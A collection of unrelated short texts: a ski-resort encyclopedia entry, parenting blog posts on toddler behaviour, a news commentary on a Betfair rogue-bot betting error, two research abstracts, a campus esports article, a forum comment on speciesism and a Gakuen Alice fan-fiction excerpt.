Boston Mills/Brandywine Ski Resorts are a pair of sister ski resorts, owned by Vail Resorts, in Northeastern Ohio. The two locations were developed independently in the 1960s. In 1990, Brandywine was purchased by the owners of Boston Mills, forming the dual-resort complex known today. In 2002 Peak Resorts purchased the resorts and has owned and operated them up until 2019.Vail bought out BMBW as well as peak’s other 15 resorts. Resort operations are housed at Boston Mills. Boston Mills is the primary resort, attracting more advanced skiers with steeper, more challenging hills, two mogul fields, a race hill, and more adult traffic and live entertainment. Boston Mills features the steepest slope in the state of Ohio, the mogul studded "Tiger". Boston Mills even had some tree runs that appeared with the falling of natural snow. These runs were known as the "Ol 76er", "The Trench" and "Tiger's Fang", and have been closed for most of recent history. Professional freestyle and freeskier, Glen Plake has skied "Tiger" at Boston Mills and called it a "great run for a mogul course". Boston Mills is also home to "Carnival", a giant end of season party that has featured a slosh pit, mogul competitions, big air competitions, sickest trick competitions, fire hose races, bikini races, sled races, beer keg races, costume contests and fireworks displays. In 2018, Red Gerard, who began his snowboarding career at Brandywine while living in Rocky River, won the Gold Medal in Snowboarding Slopestyle.
Brandywine, located about a mile away from Boston Mills caters more to the younger crowd of snowboarding and park skiing. With two terrain parks of different difficulty levels, Brandywine often hosts College ID nights and Late night skiing specials. Brandywine features a well groomed, user friendly layout suitable for all ages, and a lodge constructed in 2012. Brandywine has late night skiing on Friday and Saturday from 8 PM to 1 AM during peak season.
Between both resorts (only a few miles apart, with each visible from the other's peak), there are 18 trails of various skill levels:
Boston Mills
3 Advanced
2 Intermediate
2 Beginner
2 Double lifts
4 Triple lifts
1 Magic Carpet
1 Tow rope
Brandywine
3 Advanced
3 intermediate
3 Beginner
2 Dedicated Terrain Park runs
1 Tubing park
3 Triple lifts
2 Quadruple lifts
1 Magic Carpet
2 Tow Ropes
The tubing park is named Polar Blast and is located at Brandywine. It features up to 20 lanes that stretch over "3 football fields in length." Polar Blast also has conveyor lifts so tubers do not have to walk back to the top of the hill.
Boston Mills is located at in Boston Township, Summit County, near Peninsula, Ohio.
The Brandywine Ski Resort is located at a little more than one mile to the north, in Sagamore Hills Township, Summit County, Ohio.
In September of 2019 the Peak Resorts was purchased by Vail Resorts. Now Boston Mills Ski Resort and Brandywine Ski Resort are under new ownership.
References
Category:Ski areas and resorts in Ohio
Category:Peak Resorts
Category:Buildings and structures in Summit County, Ohio
Category:Tourist attractions in Summit County, Ohio |
How does this work? Ask a lot of questions; in your head and out loud.
Most behavior problems are learning opportunities so it will help minimize anger, frustration and short fuses if you start asking questions and start being curious.
Here’s a scenario:
Your child smeared poop all over the bathroom walls.
If you are not curious at all, you would get mad and start yelling and punish your ridiculous child for smearing poop everywhere. Why in the world would he do such a thing?!?
But then if you are curious, you would actually ask; Why would he do that? You can ask your child directly if they are verbal and say, “Hmmm. That is interesting. How did poop get on the walls?” Or you can be curious, look for clues, try and see what might have inspired him to do art with poop. Did he have poop on his hands and didn’t know what to do? Was he trying to be independent and didn’t have the motor skills to do things on his own and therefore accidentally got poop on the walls? Was he wondering what would happen? Did he just see some cool art and wanted to recreate it?
Chances are that he didn’t do it with the intention to make you mad (although that option does exist and shouldn’t be ruled out in all cases) but that he did it in a way to learn something.
So talking with your child and having him help you find a solution (“We can’t have poop on our walls- how should we clean it?”) will help immensely with behavior. When children feel heard, when they have some part of problem solving and when they have a little bit of control, they don’t need to take control through temper tantrums.
I just read a post this morning about asking people to “Guess the Good Reasons” and it was in reference to rude people out in the world. It was talking about the back story of why someone cut you off in traffic or why their child was melting down in the checkout aisle. We don’t know what is happening in their life and we shouldn’t judge.
It is the same with our children. We need to Guess the Good Reasons for their behavior. What is their back story? Being curious will not only help our children’s behavior but it will also help us manage our frustration with them.
Even if you don’t have kids or ever thought of having kids, you have still heard of the “terrible twos” which has now expanded into the “threenager” and the “F- you fours”. I love all of these descriptions because it really helps parents navigate these ages and it says, “You are not alone.” “These ages are tough!”
But after spending some time outside of the good ol’ USA, I started to wonder if the “terrible twos” were an American fabrication.
Basically the terrible twos are children exploring independence. It’s not a bad thing as I explain in this post about independence. But we have interpreted the constant “no’s” as terrible rather than as an opportunity for learning and responsibility.
So what happens in other countries that doesn’t happen in the states? Or vice versa; what doesn’t happen there that does happen here?
Good question.
I think the answer is two-fold:
Parents don’t put up with s#*$t in other countries
In the USA, we want to take such good care of our children, that we let them run the show. Parents want to support their children, they want to nourish their children and they don’t want to squelch their children. This desire for their children to bloom can co-exist with setting limits and letting children know what is allowed and what isn’t. But unfortunately (often due to social media, but also other cultural factors) it manifests itself into never wanting the child to cry or be distressed, so sometimes we as parents backtrack until everyone is happy again. But this just creates more strife and more terrible behavior.
Parents allow their children independence in other countries
We all grew up with stranger danger and it is so strong that even though it has been proven that most child abductions and child abuse come from people that children already know, we are still scared of the world. It is OK to give our children some independence. Even if it takes twice the amount of time, we need to let them put their shoes on. And they can wear shoes that don’t even match and are on the wrong feet. We can let them help us cut vegetables without worrying about ending up in the emergency room. They can climb trees, they can dig holes for our garden, they can choose a cereal box off the grocery shelf. This is a gift that only you can give them. They deserve the chance to be more independent and you deserve the respite that it brings when they fuss less.
How can we learn from other countries?
Get your little ones a passport and book a flight to learn all the different ways to raise a child. Then start setting some limits on what behavior is allowed in your family and what behavior isn’t allowed. Then open the door to your children. Let them explore the world.
Does it seem like all your toddler does is fly off the handle? Do you feel overwhelmed by your toddler’s behavior? Or is your child pretty awesome, but still has these moments where you just don’t know what to do?
Here’s my top 5 tips to help calm your toddler.
Control
Toddlers are learning about their world and asserting their independence and the easiest way for them to assert their independence is to throw a fit. So to help them navigate their world, you can help them to be in more control by giving your children some control. When you give control, they don’t need to take it by way of a tantrum. So give your child little bits of control throughout the day, and they will be more calm. Let them choose which shoes to wear to the park. Give them control over how many necklaces they want to wear. Allow them to choose their snack. Ask them which pajamas they want to wear. This will lessen the amount of time that they are battling you and will create calmness in the house.
Get outside
Nature is Therapeutic. If you are feeling at the end of your rope, or if you child is losing it; head outside! Nature will raise your spirits, it will help you breathe, it will calm your nerves. Once you are outside, you will probably get some exercise and if you get some exercise you will sleep better and if you sleep better, you will be more calm. This works for your kiddos too.
Check sleep routines
On of my mantras to my children is “when I’m tired, I get pretty fussy.” They see this in action as I can be short with them when I am more tired. The same is true for my kids. If they are getting fussy, it probably means that I need to move bedtime sooner or get a nap in. If tiredness is a constant, then looking at how much sleep kids are getting and how the routines are working is a must.
Teaching calming down techniques
It’s hard to calm down if you don’t know how to do it. So, what are some techniques? The first technique is taking a deep breath. Teach this technique all the time and do it when everyone is happy and calm. When is the best time to do that? Right before dinner or right before bed or during a bath. Say, “Smell the roses” as you breath in deeply. Then say, “Blow out the candles” and release your breath.
Another technique is taking space or taking a break. When children are very little, just a change of scenery will be enough to calm a child down. Read a book, look outside or go to a different room. Sometimes they will need more space and will need to be alone for a little while. Also known as a “time-out”, if children are taught this technique in a calm way, it can be very effective.
Model behavior
I hear over and over again how parents feel bad when they get upset with their children. But getting upset isn’t a bad thing. It is totally normal. It is also a perfect time to model calming down techniques. You get upset at something. You yell. Then you say out loud “I am really upset right now and I need to find a way to calm down!!” (If you can identify your behavior, your children will learn how to do the same.) Then you say (or yell!) “I’m going to take some deep breaths right now and I hope that helps!!!” or “I’m going to take 5 minutes in the bathroom or my bedroom right now and try to calm myself down!!”. Your child will be staring at you in disbelief but will be watching and learning about how to calm down.
Once you are calmer, you can talk about what worked and what didn’t. You can also apologize if you did something that you wish you hadn’t. That is also a great learning experience for children and better in the long run for children than to have parents that never make any mistakes at all.
I was talking with my husband about kids last night and how difficult it is to raise children with drugs, media, violence, diseases, addiction and all the other bad things out there in the world. We were starting to feel a bit depressed when I remembered that there is one thing that you can do to guard your children against all that.
The Family Dinner
Here are the top 5 reasons why you need to have a family dinner with your children this week:
1) Connection
When you sit down at a dinner table, all facing each other, there will be conversation, questions, and connection. You will build memories, vocabularies, world knowledge and just know more about each other. This connection will be with your family through the thick and thin.
2) Screen-free
An important part of the family dinner is to turn off all screens. Not only does this set a precedent for how to eat with others, it will carve out an automatic screen-free time where everyone can be in the present and not connected to something else.
If there is just one change that you make to create a stronger family, more resilient kids and a better world (corny, I know, but it’s true) then have at least one family dinner this week!
3) Nutrition and picky eaters
Do you have picky eaters? Family dinner is one of the many ways that you can help them, but the most important thing to remember, is no pressure. When food is presented in an attractive way, everyone is eating it and everyone is happy and comfortable, children are more likely to try it. That doesn’t mean that they will eat it, or like it, but if a child just tries a bite of food, science shows that after 20 tries, they will like the food. So don’t pressure them, just enjoy the food yourself and over the years, your children will be less picky.
4) Family stories
One of my favorite New York Times article talks about how children who have more of a foundation can weather trauma better. So if they have heard more stories about their family and know more details about their parents and their lives, then they have more tools in their toolbox when things get rough.
5) Routine
With routine, you build trust and create rituals that will ultimately build a foundation on which your child can grow. One of my favorite routines is to have everyone take a deep breath before everyone starts eating (or once everyone is sitting at the table). “In through your nose” *breathe* “Out through your mouth” *breathe* “Smell the flowers” *breathe* “blow out the candle”. This daily exercise will not only help you as a parent to relax and ground yourself, but it also teaches your child essential calming skills.
Right now, I’m reading No Drama Discipline by Daniel J Seigel and Tina Payne Bryson and I can recommend it for all the parents who have a little bit of free time. For all the parents who don’t have a ton of free time, I will write about some of the most important concepts that I got from the book.
First of all, the authors don’t actually recommend using consequences because positive parenting and attachment parenting have been moving rapidly away from that word. However, they explicitly state that limits need to be set and boundaries need to be made. So instead of using the word consequence, they talk about problem solving, and natural consequences (which don’t include the parent having power over the child).
Both problem solving and natural consequences are great ways to set limits, but as I talk with many parents, the reality is that they use those when they can and when they can’t, they need another tool that is quick and already at their fingertips.
This tool would be first connect, then consequence.
This technique allows you to parent in a positive way because you are connecting with your child when they need you. But you are also setting limits and letting them know that their behavior isn’t OK. And that is where the balance is.
First connect, then consequence:
There are three main ways to connect:
1. Give an explanation
This is more for younger children who don’t have as much language, but can be for older children as well. An explanation is more respectful than “Because I said so.” The explanation shouldn’t be long and drawn out. You set the limit and then add just a couple words to explain why we are setting the limit.
2. Ask for input
This is the best technique for keeping a balance of control. You set the limit and then ask them for a little input. Would they like to do something instead or would they like to do what they are doing in a place or way that would be appropriate.
3. Check emotions
This is a great technique to teach empathy. After setting the limit, you can suggest a possible emotion if the child is younger, or you can ask about their state of being if they are older.
Let’s look at a couple of scenarios:
You are making breakfast and your husband is rushing out the door asking for you to help him with something and your child throws something or hits something and starts screaming.
You need to set a limit and let your child know that hitting, throwing and screaming aren’t OK. You don’t have time to problem solve so to set the limit, you first connect and then consequence.
Give an explanation
“No hitting or throwing, that isn’t safe. I need to help your papa and make breakfast now. If you do that again, I’m going to have to find a place for you where everyone will be safe.”
2. Ask for input
“We don’t hit or throw things. Would you like a soft ball to throw instead? (for younger children) Do you want to help me make breakfast or what would you like to do instead? (for older children). If you do that again, I’m going to have to find a place for you where everyone will be safe.”
3. Check emotions
“You may not hit or throw things. You may be upset that I can’t help you right now. (for younger children) Are you hungry? What’s bothering you? (for older children). If you do that again, however, I will have to find a place for you where everyone will be safe.”
As families move more towards using positive parenting and attachment parenting, setting limits and boundaries becomes increasingly more confusing if you aren’t allowed to use consequences. So in order to remain positive and build your relationship with your child rather than tear it down, while still setting limits you:
First connect, then consequence.
I love this book, because it is very clear about setting limits and I really feel like that is the part that parents struggle with the most. But it is also very clear that if you go right into setting the limit and giving a consequence then you are losing out on building your relationship with your child and helping them learn.
Perhaps some people will disagree with me since learning to live a more mindful life is to not lose your stuff all the time (which is partially true), but if you have young children, I don’t know how you can get through a day without either you or them losing their s*$t.
So in my life, it isn’t about whether you lose you s#%t, it is about how you can calm down afterwards.
Part of our job as parents is to teach children how to control their emotions. Toddlers can lose their stuff over just about anything. We often think that we have failed when our children lose their s#*$&, but we haven’t; it is totally normal. Our job isn’t to keep them from going off the deep end, it is teaching them how to come back.
As parents. we too, are often pushed to the emotional edge with our toddlers and we need to practice working on our own emotions. Lots of parents practice “not-yelling” at their children and although I succeed at not-yelling the majority of the time, there are times when I lose it and I yell. Loud.
That’s OK. Just like it is OK for your little one to go off.
This is a great teaching moment for everyone. Once you lose it, how do you calm down?
Do you:
Leave the room?
Take some deep breaths?
Ask for a hug?
Go outside for a minute?
Go for a walk?
These are all acceptable ways to deal with losing your s#$t and it is perfectly acceptable to talk about it with your children. In fact, it is encouraged that you process what happened to you with your children so that they can learn how to deal with their s%$t.
This is how children learn to calm down, by watching their parents lose their s#$t and then calming down themselves and talking about it afterwards.
“I was pretty upset this morning wasn’t I?” (This is you talking to your toddler not the other way around, although wouldn’t that be pretty awesome?!?)
“I felt overwhelmed by all the things that needed to happen in a pretty short amount of time and I got upset and I yelled.”
“But then, once we were all in the car, I took some deep breaths and I was able to calm down.”
This is part of the problem solving process, identifying the problem (I lost it) and then finding solutions (taking some time, breathing deeply, getting a hug). This is also part of the process of self-care. Acknowledging that it is OK to lose it and then taking steps to bring your emotions back into balance.
We can’t expect our children to not get upset and we can’t expect ourselves to never get upset. So when it does happen, it is really important that we have the tools to be able to calm down and that we can pass those tools on to our children.
If you are like me and have visited Pinterest for great parenting ideas, you have probably had the same impression I did, that children should be busy or entertained with activities pretty much all the time.
Now, don’t get me wrong. I love to have fun activities with my kids but I also think it is super important for children to have absolutely nothing.
In other countries around the world, children don’t have many toys, they don’t have scheduled sports or art workshops, they don’t even have activities planned by their parents. And when I watch little kids sitting on a bus, or waiting somewhere, they don’t need to be entertained, they just sit.
We spend a huge amount of our adult lives trying to slow down our minds. We do yoga, we meditate, we go on vacation and amazingly, children already have that ability to do nothing and often well-meaning parents erase that important skill.
And yet, every time I go onto Pinterest, I see at least 10 pins for “How to keep your toddler busy during road trips” (or waiting in line, or on an airplane, during quiet time, or sitting at a restaurant, etc).
Here’s the thing, I understand.
I have twin toddlers and it’s not like they want to sit still for all of these activities. But if you don’t offer any kind of toy or screen or distraction, you eventually teach them how to “be” in a world without distractions. They can already calm their minds. They can already be aware of their surroundings and soon (SOON!) they will just be able to sit and watch the world around them or entertain themselves.
Just like what we are striving for as adults. The ability to just sit and quiet our mind. We have so many opportunities for that all day long. Waiting at a red light. Standing in line at the bank. Sitting at a restaurant waiting for a friend to arrive. These are times when we can just sit and quiet our minds and yet these are the times that we feel we need to “entertain” ourselves and pull out our phones.
So if one of your goals is to quiet your own mind and find awareness in the daily moment, then allow your child to do that as well. Let them sit in the car on the way up to the mountains with nothing but conversation. Allow them to watch the people in the restaurant without a distraction. Bring an emergency toy on the airplane but have it be a goal to use only the environment and surroundings as your toys and see if you don’t even need it. Let them play for an entire snow day without one planned activity.
In my head, I am thinking:
All of this sounds good and all, but the reason that we distract children is to keep them from fussing and tantruming. If I don’t distract them when they are losing it, then I will lose it too.
Yep, so the shift here isn’t to not distract them, it is to distract them with their surroundings, rather than with objects. This is how to build a mindful childhood.
So what does that look like?
When you are at the doctor’s office, walk around and look at the art that they have on the wall.
When you are on the airplane, play with the buttons on the seat, walk up and down the aisle if they let you, look out the window if you have a window seat and talk about the clouds.
When you are in the car, look for different things out the window.
All of this can be exhausting, super exhausting if you are doing it for hours. But here’s the thing (and every teacher knows this) if you put in more work now(exhausting work when you are already exhausted)then you (and especially your children) will reap the benefits later.
Your child already has the skills to be aware of their surrounding, and we as adults are constantly working towards that type of mindfulness and being in the moment, so resist the urge to distract your child with a thing and give them the gift of a lifetime!
Sometimes in life, we are just feeling a bit off. Often we know why- a bad day at work, car broke down, didn’t sleep well the night before; and sometimes we have no idea why we aren’t feeling that great. Sometimes it is just a “wrong-side-of-the-bed type of day.”
This happens for kids and for adults and it is important to remember that sometimes we just need a hug.
This past week I was feeling sick and I was very grumpy. It meant a lot of fussiness in the house from me and by example from my kids. So I was reminding myself daily to sometimes stop the grumpiness by hugging. No one was doing anything they shouldn’t, it was just a whiny week.
My husband was also there to just give me a hug. He made me tea at night and we got through the grumpy week all in one piece. Then he got sick this week and I forgot where I put my patience.
I realized this morning when everyone in the house was grumpy again that sometimes we just need a hug. There wasn’t anything specific causing the gripes (other than maybe the full moon) and so it felt like the grumpiness was unfounded and shouldn’t be there. But it was. And all we needed was a hug.
Patience and love for our kids and patience and love for the adults in our lives. Sometimes we just need a hug.
It’s not really. Taking turns and sharing are two different things but in the world of toddlers and parenthood, we need to put the focus on taking turns and take the pressure off of sharing.Let’s look at this from an adult point of view:Taking turns is: I’m using the computer right now and when I’m done writing emails, you can use it to watch youtube videos.Sharing is: Let’s split this chocolate brownie in half so we can each have some.In both of these cases, both adults are satisfied with the results and everyone is happy!
Now lets look at this in a toddler point of view:
Taking turns is: There is one toy that both children want. One child gets a turn and when that child is finished, the other child gets a turn.Sharing is: play-dough that both children can use at the same time so one child gives a piece to the other child so that they can each have some.
In both of these cases, both children are satisfied and their needs are being met and everyone is happy!
Now let’s take a look at what sharing isn’t: Telling a child that they must give something up in the name of “sharing”. This only creates frustration. If your husband or wife came up to you while you were writing emails and said, “You need to share the computer” and then took if from you, you would be frustrated. Children feel the same way.
Don’t make them give up their toy in the name of sharing!
Children have difficulty waiting their turn for the toy but they can do it! This is a great time to introduce the sign for waiting which is wiggling your fingers.
So the interaction might look like this:Two young children: (screaming and grabbing toys!)
Adult: It looks like it is Maria’s turn. Max, would you like a turn after Maria?Max: No! It’s my turn!Adult: So you don’t want a turn after Maria?Max: Wait, yes! I do want a turn.Adult: Maria, can you give Max a turn when you are finished?Maria: No, It’s my turn!Adult: Yes, you are using it now; can Max use it when you are done?Maria: Um, ok.Adult: Max what would you like to do while you are waiting? Do you want to read a book with me?This is written for two toddlers who have vocabulary, but works just as well for children who are non-verbal as children can understand this at much younger ages. The idea is to teach them the language so that eventually they can manage themselves. This is particularly important for siblings. This takes a lot of work in the beginning but eventually your children will be able to play together because they will be respectful to each other and not take each others toys in the name of “sharing.” |
For a statement that Betfair hopes will be the "full and final" explanation of the bedlam that gripped the in-running market on Wednesday's Christmas Hurdle at Leopardstown, Friday's communication from Stephen Morana, the exchange's interim CEO, still seems to leave obvious questions hanging in the air.
The statement contains as much of the "who?" and "why?" of the affair as the Data Protection Act will allow Betfair to reveal, though the answers may not be ones that many of those whose bets were declared void will want to hear or, indeed, believe. The client whose rogue "bot" caused all the chaos, Betfair says, was a small-time player with less than £1,000 in his account, a pretty ordinary Joe Punter, by exchange standards at any rate.
The real significance of this is who he was not. This was not a hedging account operated by a bookmaking firm with unlimited credit, or an account connected to the "bots" which Betfair itself operates on the site.
In either of those cases there might have been something for a smart lawyer to get stuck into regarding the £23m that around 200 Betfair clients appeared to "win" on the race. But the truth is that the £21m worth of 28-1 offered about Voler La Vedette was a mirage. Wishing it otherwise will make no difference. You cannot win – or lose – what is not there in the first place and even the most opportunistic ambulance-chaser is likely to take one look at this fact and point to the door.
As for the "why", it cannot be a complete coincidence that – as was pointed out on Betfair's own forum within a few hours of Wednesday's race – the initial sum offered against Voler La Vedette was the highest possible in a 32-bit binary computer system.
It may be that this is simply, by definition, a power of two, and that the rogue "bot" was operating a variant of the doubling-up "Martingale" system that has ruined so many roulette players down the years. But in some respects, how the bot arrived at its particular choice of bet and stake is much less important than the question of how on earth Betfair's system was able to look at a bet risking £600m against an £800 balance and cheerfully wave it through.
There are plenty of Betfair customers using bots, after all, and their potential to do some very strange things if their code is not sufficiently tight is well known. Even non-automated Betfair punters – which numerically must be the great majority – get things wrong from time to time. Indeed, there are probably dozens of people every day who try to put through a huge bet that they cannot afford, just to see what happens.
In all there may well be thousands of bets each week that get rejected because the account concerned does not have the funds to cover it. Yet this one got through.
This is the "how" question, the one that really matters, and it is scarcely acknowledged in Friday's statement. Betfair says commercial sensitivity about its systems – and the possibility that some might look for other loopholes if it broadcast the exact reasons for Wednesday's debacle – means that it cannot go into any more detail.
But this comes with a significant PR cost attached, since it may suggest to customers – as well as Betfair's many vocal critics – that it has something to hide. If it truly has confidence that its systems are robust, and that Wednesday's events can never happen again, why not be more forthcoming about the detail of how it managed to get this one bet so horribly wrong? The question that some customers of the exchange will be asking themselves now is: why should I trust Betfair, if Betfair does not trust me? |
Nonisothermal Spreading Dynamics of Self-Rewetting Droplets.
We experimentally studied the spreading dynamics of binary alcohol mixtures (and pure liquids for reference) deposited on a heated substrate in a partially wetting situation under nonisothermal conditions. We show that the spreading mechanism of an evaporating droplet exhibits a power-law growth with early-stage exponents that depend strongly and nonmonotonically on the substrate temperature. Moreover, we investigated the temporal and spatial thermal dynamics in the droplet using infrared thermography, revealing the existence of unique thermal patterns due to thermal and/or solutal instabilities, which lead to surface tension gradients, namely the Marangoni effect. Our key findings are that the temperature of the substrate drastically affects the early-stage inertial-capillary spreading regime owing to the nonmonotonic surface tension-temperature dependence of the self-rewetting liquids. At later stages of wetting, the spreading dynamics enters the viscous-capillary dominated regime, with the characteristic low kinetics mirroring the behavior of pure liquids. |
Shamanic Healing for Veterans with PTSD: A Case Series.
Posttraumatic stress disorder (PTSD) is a serious health concern. Current evidence-based treatments for PTSD are efficacious; however, they are not appropriate or tolerated by everyone who needs them. Alternative treatment approaches are needed. Shamanic healing is one such therapy that may potentially be beneficial but no systematic research has been conducted on it for PTSD. The objectives of the case series are to (1) develop a structured replicable shamanic treatment plan for veterans with posttraumatic stress disorder (PTSD); (2) collect preliminary data on PTSD-related outcomes, and (3) explore the feasibility and potential for adverse events of the plan. Case series. Clinical. Veterans with PTSD. Shamanic healing. PTSD symptoms, quality of life, and piritual wellness. A semi-structured shamanic healing protocol was created with the following components: rapport building, power animal retrieval, extraction, compassionate spirit release, curse unraveling, soul retrieval, forgiveness/cord-cutting, aspect maturing/soul rematrixing, and divination. Six veterans enrolled in the study (mean age = 49.3 ± 13.1). Qualitative descriptions of the participants, their histories, and effects from the intervention are reported. Preliminary data was collected on PTSD-related outcomes. The protocol was found feasible and acceptable and recommendations for its future use are suggested. Future research is warranted and needed to evaluate the efficacy of shamanic healing as a potential therapy for veterans with PTSD. |
Concordia Esports aims to start intramural league
League of Legends will be the first game available for casual gamers
The Concordia Esports Association (CESA) wants to expand from its competitive teams and organize an intramural league for students. President Dimitri Kontogiannos said the club is looking for people to play League of Legendsin a fun, non-competitive environment.
”We’ve seen there are a lot of students that want to play in Concordia Esports organized events, but we’ve only really had a competitive team before,” Kontogiannos said. “So there was a lack of structured events for people who are a lower caliber or just don’t want to play on the competitive team.”
Kontogiannos said CESA is starting with League of Legendsas its inaugural intramural game because it has the biggest following on campus. Games will be on Friday nights and players can sign up either as an individual and be put in a team, or a team can sign up together. Although the club will start with one game, they hope to expand to Overwatchand Super Smash Brosin the future.
The intramural league will be organized independently from Concordia, unlike its intramural leagues with traditional sports such as hockey, soccer, and basketball. Despite this, Stingers athletic director D’Arcy Ryan believes there’s room for growth for Esports at Concordia.
“Montreal is a hotbed of talent in the gaming industry because of some of the big companies like Ubisoft and CGI,” Ryan said. “We have the academic talent with programmers in the engineering faculty, so I think there’s a great potential for a partnership between the academic and recreational side to promote the gaming market.”
Kontogiannos has also seen Esports grow at the university level across the country. “All schools see the popularity and growth of Esports,” he said. “There’s significant interest in Canadian schools. At Concordia, [it’s] because of inclusiveness, and they use sport as a means to attract new students.”
Through the intramural league, CESA wants to introduce students, particularly first-years, to other students that share their passion. First-year students can focus too much on video games, according to League of Legendsteam manager Guillaume Bélisle.
“They play too many video games in the first year and then crash and burn [mentally],” Bélisle said in an interview with The Concordianin September. “Then in the second and third year, they will focus more on their studies. It’s all about balance.”
“In my first semester, this is the way I met people at the school,” Kontogiannos added. “I didn’t have many friends coming from Dawson to my program, so to find new people was one of the catalysts as to why I joined [CESA].”
Kontogiannos also believes video games play an important role in integrating new students from abroad. “[League of Legends]transcends countries,” he said. “It’s not just in North America that people play it, but also in Europe, in Asia, and even the Oceanic region. It’s a game the school can really benefit from by having organized activities around it.”
The president also wants to use the intramural league to potentially recruit players for their competitive team. “We just want people to have fun,” he said. “But it always ends up with us looking at new talent that’s popping up around Concordia, or seeing talented players that we didn’t have the chance to see before.”
Still, Kontogiannos wants the players to enjoy it. “I hope there are some good games. I know non-competitive players tend to stray out of the competitive strategies, so it’s a whole new game.” |
"Also, I find terms like "speciesist" ridiculous, and when push comes to shove I do believe in hierarchy."
Speciesist is the analogue to racist, fascist, sexist and so on and addresses the false dichtonomy between human animals and nonhuman animals. So when push comes to shove, you believe in, e.g. the hierarchy of discriminating against women and people of color? If not, then you clearly _are_ a speciecist, since you reserve the assignation of ethical rights to humans only. This would put on par with a sexist who finds women's rights ridiculous, or a racist who finds the right of people of color not to be enslaved ridiculous.
BTW, depending on your definition of harm, slavery of humans could very well be done without harm. Say, you got a 100 Africans working on your farm, don't pay them salary but provide food and health care and basic housing, but restrict their movement. There wouldn't be any physical harm, but if you're not suffering from racism or other ethical handicaps it would be totally unacceptable.
Speciesism is just a word, what's relevant here is the concept behind it. It means humans have no right to discriminate against animals just because they are not member of our species. Just like men have no right to discriminate against women just because they are not members of the male gender. If you find the term speciesism ridiculous, then, as a logical consequence, you would also have to find the term sexism ridiculous. If not, then the only conclusion can be that you *are* a speciesist who is trying to add value to himself by trying to discredit the concept behind the term speciesism. |
Author's Note: I get a kick out of writing about Natsume being nice without trying too hard. Lately, I've also been fascinated with Ruka and Hotaru. Thus, this story. Consider this another day in the life and times of the Alice Academy.
Set after Graded Recitation and follows the same thread. The humor would make more sense if you've read Ten Years to Date. Ü The poem used was first published on FictionPress.
Natsume was frowning at his book. The dark look on his face told everyone that he was deeply annoyed with what he was reading. At his elbow was a blank sheet of paper, waiting for his erudite mind to compose something scholarly. At the moment, however, he seemed too irritated by what he was reading to jot anything down.
"Go ask him."
"You ask him."
"You're the one who wants to know," Mikan pointed out to Sumire. "I don't really care if he burns his book to a crisp. It wouldn't be the first time."
Sumire's eyes narrowed. "For your information, I am not the only one at this table wondering what's going on in that gorgeous head of his."
Mikan sniffed. "Then get one of them to ask."
Sumire looked smug. "All in favor of Mikan asking Natsume why he's burning a hole through his book with his eyes, say, 'aye'."
A chorus went through the group.
"I can't ask him!" Mikan argued. "He'll snap."
"The boy has a soft spot for you!" Sumire said emphatically. "When are you going to get that through your thick skull—"
"You know what, just forget it!" Ruka said loudly, interrupting their conversation. He was talking on his cellphone as he strode over to their table. He dumped his things next to Natsume then continued crossly, "You're right, it doesn't matter— to you. But when it starts mattering to you Imai, you know where to find me."
"Imai," Nonoko observed his use of the last name. "It's another spat."
"Arguing with Hotaru, again?" Mochu asked when Ruka hung up and tossed his phone aside.
"She could just be so unreasonable," he muttered. "Is it bad to want to see my girlfriend at least twice a week? You'd think having lunch with me was such a chore."
"I'm sure she doesn't think that. Hotaru's just busy all the time," Mikan said consolingly.
"I can, on most days," he said. "It's just hard to remember sometimes. I don't know. I'm going to call her again." He grabbed his phone then left the room while dialing.
"Poor Ruka," Anna sighed. "Hotaru's not an easy girlfriend, is she?"
"That would be an understatement," Wakako said. "But it's not like he doesn't know. He just needs to be reminded she's worth it."
"What were we talking about before he came in?" Koko asked.
"Sumire was coercing Mikan to talk to Natsume."
Sumire shrugged. "Forget that. Look."
They all turned to see that Natsume's expression had cleared. He wrote swiftly on his paper then looked up to find everyone watching him. He smirked.
"Kitsu, go get some straws."
"As I mentioned at the beginning of the class, this oral report will comprise a major part of your recitation grade. So far, all of you have been doing quite well," Narumi spoke with an ironic smile. "That being said, Mochu, what are you doing?"
Mochu stood in front of the class, papers in hand. He looked completely relaxed, as though nothing was amiss. "You called for Natsume Hyuuga, sir."
"Yes, I did."
"Well, I'm here to deliver a report on behalf of Natsume Hyuuga."
Narumi blinked. It's going to be another interesting morning. "You know that's not allowed. Students need to complete their own class work."
The class started to snicker and Narumi grew confused. "You mean to tell me that you're willing to go through a graded recitation in lieu of Natsume?"
"Oh no," Mochu said quickly. "I'm just doing the summary part. Koko will be going through the graded recitation."
"Why?" Narumi dared to ask.
"Because he drew the shorter straw."
The class cracked up and Narumi sighed. He swiveled around and spotted the Black Cat who was reading another manga and was paying no attention to the class he had just smoothly disrupted. "Hyuuga, a minute, if you please. Are you seriously doing this?"
"Uh-huh."
"You know, this might bring down your class standing."
Natsume looked up. "What's my current class standing?"
"Ninety-nine point seven," Narumi said dryly after looking at his grade sheet.
"I'll take a hit."
Then he returned his attention to his comic book and Narumi had no other option but to turn back to Mochu. "What makes you think I'll permit this?"
Mochu glanced around then lifted the paper to speak emphatically in a very loud stage-whisper, "Because he'll walk out, sir."
"Very well then," Narumi conceded, owing to his own morbid curiosity to find out where this would go. "Carry on, if you must."
"Great," Mochu beamed. He cleared his throat. "Anyway, Natsume's assigned piece is also by our controversial writer from last week, N. Romeo. It's a love poem, which pretty much explains why Natsume isn't the one standing here, hehe. Anyway, it talks about a rocky relationship and sacrifices and patience, I think. See, it's really short so there's no point summarizing it." He grinned. "Now, Kokoroyumi will provide a brief interpretation and will be ready to answer all of your questions!"
He walked back to his seat and passed the papers to Koko who made his way to the front with a toothy grin. Natsume looked unperturbed by the effortless hand-off and Narumi merely rolled his eyes at their antics.
Koko cleared his throat and used his academic voice. "As we can observe from N. Romeo's writing style, our dear author prefers open-ended stories over those with defined endings. The author prefers to talk about the courtship rather than the relationship; the journey rather than the destination."
"Koko, I'd like hear the point rather than the gibberish," Narumi said sternly.
"Right," he went on cheerfully. "The characters are obviously, almost certainly, in love but like last week's unfortunate couple, they lock away their hearts. We watch a series of mishaps, good triumphing over evil, love conquering all, the sun hiding behind the darkest cloud and yet they take one step away from their happily ever after. Why? Because they're stubborn as mules. Their hearts are made of stone. Their heads are full of lead—"
"Are we talking about the same piece?"
Koko laughed heartily. "I'm not really sure. So let's see what Natsume has to say instead." He turned to the second page then read out loud, "When read, the piece conveys a significance that a written report could never achieve."
He paused.
"Go on," Narumi prodded.
Koko looked up, the scholarly look gone. In fact, his face grew utterly blank. He swallowed. "That's all it says." When Narumi looked incredulous, he flipped the page over to show the class. "There's nothing else. See?"
